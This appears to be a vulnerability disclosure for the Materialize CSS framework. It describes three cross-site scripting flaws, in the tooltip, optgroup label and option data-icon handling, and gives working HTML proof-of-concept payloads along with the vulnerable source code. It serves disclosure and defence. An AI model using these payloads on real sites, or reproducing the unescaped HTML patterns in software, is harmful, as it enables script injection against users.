Materialize, a CSS Framework based on Material Design.
A M.Tooltip.init
call is required on a user controlled node with a hover
interaction.
<!-- user input -->
<x class="tooltipped" data-tooltip="<img src=x onerror=alert(document.domain)>">Hover me</x>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script>
var elems = document.querySelectorAll(".tooltipped");
var instances = M.Tooltip.init(elems);
</script>
Root Cause
_getAttributeOptions() {
let attributeOptions = {};
let tooltipTextOption = this.el.getAttribute('data-tooltip');
let positionOption = this.el.getAttribute('data-position');
if (tooltipTextOption) {
attributeOptions.html = tooltipTextOption;
}
if (positionOption) {
attributeOptions.position = positionOption;
}
return attributeOptions;
}
Found by @kevin_mizu.
A M.FormSelect.init
call is required on a user controlled node.
<!-- user input -->
<select>
<optgroup label="<img src=x onerror=alert(document.domain)>"></optgroup>
</select>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script>
var elems = document.querySelectorAll("select");
M.FormSelect.init(elems);
</script>
With jQuery it would looks like this.
<!-- user input -->
<select>
<optgroup label="<img src=x onerror=alert(document.domain)>"></optgroup>
</select>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script>
$(document).ready(function(){
$('select').formSelect();
});
</script>
Root Cause
} else if ($(el).is('optgroup')) {
// Optgroup.
let selectOptions = $(el).children('option');
$(this.dropdownOptions).append(
$('<li class="optgroup"><span>' + el.getAttribute('label') + '</span></li>')[0]
);
selectOptions.each((el) => {
let optionEl = this._appendOptionWithIcon(this.$el, el, 'optgroup-option');
this._addOptionToValueDict(el, optionEl);
});
}
Found by @kevin_mizu.
The Materialize library uses the data-icon
attribute to load additional images without escaping user input in the src
attribute. A M.FormSelect.init
call is required on a user controlled node.
<!-- user input -->
<select>
<option data-icon='x"onerror="alert(document.domain)'></option>
</select>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script>
var elems = document.querySelectorAll("select");
M.FormSelect.init(elems);
</script>
With jQuery it would looks like this.
<!-- user input -->
<select>
<option data-icon='x"onerror="alert(document.domain)'></option>
</select>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script>
$(document).ready(function(){
$('select').formSelect();
});
</script>
Root Cause
let iconUrl = option.getAttribute('data-icon');
if (!!iconUrl) {
let imgEl = $(`<img alt="" src="${iconUrl}">`);
liEl.prepend(imgEl);
}
Found by @kevin_mizu.